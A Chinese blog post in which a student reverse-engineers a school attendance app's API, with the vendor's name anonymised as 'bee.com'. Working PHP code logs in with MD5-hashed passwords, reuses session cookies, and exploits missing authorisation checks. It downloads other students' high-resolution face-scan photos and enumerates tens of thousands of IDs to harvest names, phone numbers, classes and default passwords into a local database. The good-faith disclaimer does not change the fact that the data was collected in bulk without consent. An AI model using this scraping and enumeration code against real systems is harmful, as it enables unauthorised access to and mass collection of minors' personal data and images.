用PHP抓取学校考勤系统数据

为了方便并且不泄露信息,以下将考勤系统简称为“小蜜蜂”,域名也全部使用bee.com
免责声明:本文所提到的一切行为都出于善意测试,将在测试完成后把漏洞提交给官方,请勿用于非法用途!

0、起源

一个月前,学校给每个班发了批量生成的考勤系统家长账号,但是我们班各个家长并未使用这些账号。某天,一位同学来跟我说,她使用她家长账号登录,发现绑定的是我,还能查看我刷脸的照片。

1、尝试抓包

我用自己的账号登录了小蜜蜂的App。通过使用HttpCanary对该App进行抓包,我获取了登录、获取照片等部分的API接口和请求数据格式。

2、请求接口

2.1、登录

code
1
https://bee.com/sctserver/mob/login?loginname=f11111111111&password=31df73b65ffc25317e1eb8966fe541cc;

可以看到,登录部分的数据结构是这样的:

json
1
2
3
4
{
    "loginname":"f11111111111",
    "password":"31df..."
}

对明文密码尝试进行MD5加密,发现结果正是数据中的结果。因此可以确定,密码使用MD5进行加密。
这是我最后使用的登录代码:

PHP
1
2
$url="https://bee.com/sctserver/mob/login?loginname=f".$username."&password=".md5($password);
file_get_contents($url);

2.2、获取Cookies

我发现php的file_get_contents函数不是自动保存cookies并使用的,因此需要手动拼接Cookies。
通过面向搜索引擎编程,我使用了以下代码获得Cookies并存进数组:

PHP
1
2
3
4
5
6
7
8
9
$cookies = array();
        foreach ($http_response_header as $hdr)
        {
            if (preg_match('/^Set-Cookie:\s*([^;]+)/', $hdr, $matches))
            {
                parse_str($matches[1], $tmp);
                $cookies += $tmp;
            }
        }

这里用到了正则表达式,确实是我没想到的,笑。
获取到的Cookies结构如下:

json
1
2
3
4
{
    "acw_tc":"784e...",
    "JSESSIONID":"E2692..."
}

2.3、提交Cookies

在使用Cookies时,我使用了以下代码。

PHP
1
2
3
4
5
6
7
8
$opts=array(
        'http'=>array(
            'header'=>"Cookie: acw_tc=".$cookies['acw_tc']."\r\n" . 
                      "Cookie: JSESSIONID=".$cookies['JSESSIONID']."\r\n",
            'ignore_errors'=>true          
                    )
                );
$data=file_get_contents("https://bee.com/sctserver/mob/attend/child/in-out?studentId=".$uid,false,stream_context_create($opts));

2.4、获取照片

登录后可在某字段获得StudentId,这个数据很重要,获取其他数据时需要用到。
登录接口地址:

code
1
https://bee.com/sctserver/mob/attend/child/in-out?studentId=1111111

据观察,返回数据中名为imgUrl的参数就是照片Url。但是,使用此方法获取的非常模糊,和App中看到的完全不是一个级别的清晰度。
例如:

code
1
https://server.bee.com/wmdp/comup/attenddir/20xx0x/0x/bre/FACE_DETECT_...-..._20xx0x0x0xxxxx.jpg

很明显是使用域名/固定目录+日期/bre/学生特征码+日期+精确时间的格式存储照片。
我尝试去掉Url中的/bre/,得到了高清版本的照片。

2.5、缓存

担心小蜜蜂只储存一个月的照片,我做了本地化的缓存。
读取数据:

PHP
1
2
3
4
#获取缓存Url列表
$url_list=json_decode(file_get_contents("./data/url.json"),true);
#获取无效学生ID列表
$null_list=json_decode(file_get_contents("./data/null.json"));

检查是否缓存:

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#获取缓存
    #检查是否有缓存目录
    if(!file_exists("./cache/image/".$year."/.cache"))
    {
        for($i=1;$i<=12;$i++)
        {
            for($j=1;$j<=date('t',mktime(0,0,0,$i,1,date("Y")));$j++)
            {
                #给月和日补前导零
                $f_month=str_pad($i,2,"0",STR_PAD_LEFT);
                $f_day=str_pad($j,2,"0",STR_PAD_LEFT);
                #创建文件夹
                mkdir("./cache/image/".$year."/".$f_month."/".$f_day,0777,true);
            }
        }
        #标记为已创建
        file_put_contents("./cache/image/".$year."/.cache","yes");
    }
    #检查是否缓存过图片
    if(file_exists($cache_path)&&$url_list[$date][$uid]!="")
    {
        if($local) $img_url=str_replace("./cache/image/","https://cdn.me.com/img/bee.com/",$cache_path);
        else $img_url=$url_list[$date][$uid];
        if($display) redirect($img_url);
        else retCode(200,'获取成功',$img_url);
    }

封装的返回函数:

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#封装函数
    #返回JSON
    function retCode($code,$msg,$retdata)
    {
        if($code==404) header('HTTP/1.1 404 NOT FOUND');
        elseif($code==500) header('HTTP/1.1 404 SERVER ERROR');
        elseif($code==403) header('HTTP/1.1 403 FORBIDDEN');
        die(json_encode(array('code'=>$code,'msg'=>$msg,'data'=>$retdata),JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES));
    }
    #重定向
    function redirect($url)
    {
        header("Location:".$url);
    }

这样便可以永久性储存照片。

2.6、获取账号信息

据检测,大部分接口均未做鉴权,例如一个账号可以获取任意账号的考勤打卡记录,甚至完整的账号信息。

这里不得不吐槽一下,小蜜蜂的返回数据是真的做的烂死了,学校详细信息(国家、省份、城市、邮编)等数据居然会在返回信息中重复两到三次,导致原本可以很精简的数据一下子变成了200KB,难怪软件这么卡。

获取账号信息的接口:

code
1
https://bee.com/sctserver/mob/getinfo?id=1111111

返回数据中,有班级、姓名、学生ID甚至完整密码,我猜测是默认密码,部分用户修改密码后返回的是******
因此可以用简单的代码批量抓取并处理数据。

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#发送获取学生信息请求
        $data=json_decode(file_get_contents("https://bee.com/sctserver/mob/getinfo?id=".$id,false,stream_context_create($opts)),true);
    #结果列表
        $data_list=$data['data']['familys'][0]['students'][0]['classno'];
    #判断用户是否存在
    if($data['message']=="用户没有登录")
    {
        return "nologin";
    }
    else if(!$data['result']||empty($data_list['className'])||empty($data_list['grade']))
    {
        return "null";
    }
    else
    {
        return array(
            $data['data']['phoneNumber'],
            $data['data']['familys'][0]['passwordshowStr'],
            $data_list['className'],
            $data_list['grade'],
            $data['data']['name']
        );
    }

储存数据:

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
preg_match("/[0-9]{1,2}/",$info[2],$matches);
$class=$matches[2];
if($info[3]=="高一年级") $grade=1;
else if($info[3]=="高二年级") $grade=2;
if($info[3]=="高三年级") $grade=3;
$name=$info[4];
if($currentClass!=$class)
{
    $currentClass=$class;
 
   if(is_array($student_list[$grade][(string)$class])) $currentNum=count($student_list[$grade][(string)$class])+1;
    else $currentNum=1;
}
else $currentNum++;
        $student_list[$grade][$class][$currentNum]=array(
        'uid'=>(int)$i,
        'name'=>(string)$name,
        'num'=>(int)$currentNum
        );
file_put_contents("./data/student.json",json_encode($student_list,JSON_UNESCAPED_UNICODE|JSON_PRETTY_PRINT));

由于发现了获取用户信息的接口,我就开始着手建立本校学生信息库。在小蜜蜂的系统中,名字、班级和StudentId不是一一对应的,因此难以直接用“递增”的方法获取。于是我获取了几万次数据,将信息储存在一个JSON文件中。
这耗费了我两个小时的时间,因为每次PHP执行几十秒浏览器就会报504 Time Out,怎么改配置都没有用。
最后,我实现了可以自由调取高一年段的数据,高二、高三甚至已毕业学生的有空也会弄。
鉴于看到网上有一个干过类似事情的初中生被查水表了,我决定在研究一段时间后提醒小蜜蜂官方,并删除我保存的所有数据。如果能在其中找到几个漏洞,获得CNVD证书,那就更是好事。
2022年1月10日记。

用PHP抓取学校考勤系统数据

https://blog.tsinbei.com/tw/archives/5/

文章作者
Hsukqi Lee
发布于

2022-01-10

修改于

2022-09-15

许可协议

CC BY-NC-ND 4.0

# PHP

评论

昵称
邮箱
网址
暂无